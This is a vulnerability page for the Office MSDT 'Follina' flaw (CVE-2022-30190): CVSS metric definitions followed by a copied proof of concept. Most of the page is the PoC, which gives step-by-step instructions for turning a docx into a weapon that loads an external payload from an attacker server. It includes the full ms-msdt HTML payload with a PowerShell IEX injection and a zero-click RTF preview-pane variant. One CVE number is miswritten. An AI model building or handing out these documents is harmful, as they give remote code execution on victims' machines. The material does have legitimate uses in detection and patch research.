The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Microsoft Office MSDT Follina Proof Of Concept
# POC CVE-2022-30190 : CVE 0-day MS Offic RCE aka msdt follina
> Info : [New Microsoft Office zero-day used in attacks to execute PowerShell](https://www.bleepingcomputer.com/news/security/new-microsoft-office-zero-day-used-in-attacks-to-execute-powershell/)
## Summary
On the 29th of May 2022, the Nao_Sec team, an independent Cyber Security Research
Team, discovered a malicious Office document shared on Virustotal. This document is
using an unusual, but known scheme to infect its victims. The scheme was not detected as
malicious by some EDR, like Microsoft Defender for Endpoint. This vulnerability could lead to
code execution without the need of user interaction, as it does not involve macros, except if the
Protected View mode is enabled. There is no CVE number attributed yet.
## Technical Details
The vulnerability is being exploited by using the MSProtocol URI scheme to load some code.
Attackers could embed malicious links inside Microsoft Office documents, templates or emails
beginning with ms-msdt: that will be loaded and executed afterward without user interaction
- except if the Protected View mode is enabled. Nevertheless, converting the document to
the RTF format could also bypass the Protected View feature.
## Proof of Concept
MS Office docx files may contain external OLE Object references as HTML files. There is an HTML sceme "ms-msdt:" which invokes the msdt diagnostic tool, what is capable of executing arbitrary code (specified in parameters).
The result is a terrifying attack vector for getting RCE through opening malicious docx files (without using macros).
Here are the steps to build a Proof-of-Concept docx:
1. Open Word (used up-to-date 2019 Pro, 16.0.10386.20017), create a dummy document, insert an (OLE) object (as a Bitmap Image), save it in docx.
2. Edit `word/_rels/document.xml.rels` in the docx structure (it is a plain zip). Modify the XML tag `<Relationship>` with attribute
```
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject"
```
and `Target="embeddings/oleObject1.bin"` by changing the `Target` value and adding attribute `TargetMode`:
```
Target = "http://<payload_server>/payload.html!"
TargetMode = "External"
```
Note the Id value (probably it is "rId5").
3. Edit `word/document.xml`. Search for the "<o:OLEObject ..>" tag (with `r:id="rId5"`) and change the attribute from `Type="Embed"` to `Type="Link"` and add the attribute `UpdateMode="OnCall"`.
NOTE: The created malicious docx is almost the same as for [CVE-2021-44444](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444).
4. Serve the PoC (calc.exe launcher) html payload with the ms-msdt scheme at `http://<payload_server>/payload.html`:
```
<!doctype html>
<html lang="en">
<body>
<script>
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA should be repeated >60 times
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>
</body>
</html>
```
Note that the comment line with AAA should be repeated >60 times (for filling up enough space to trigger the payload for some reason).
## BONUS (0-click RTF version)
If you also add these elements under the `<o:OLEObject>` element in `word/document.xml` at step 3:
```
<o:LinkType>EnhancedMetaFile</o:LinkType>
<o:LockedField>false</o:LockedField>
<o:FieldCodes>\f 0</o:FieldCodes>
```
then it'll work as RTF also (open the resulting docx and save it as RTF).
With RTF, there is no need to open the file in Word, it is enough to browse to the file and have a look at it in a preview pane. The preview pane triggers the external HTML payload and RCE is there without any clicks.
## Sources :
- https://nao-sec.org/about
- https://www.virustotal.com/gui/file/4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784/detection
- https://gist.github.com/tothi/66290a42896a97920055e50128c9f040
- https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/
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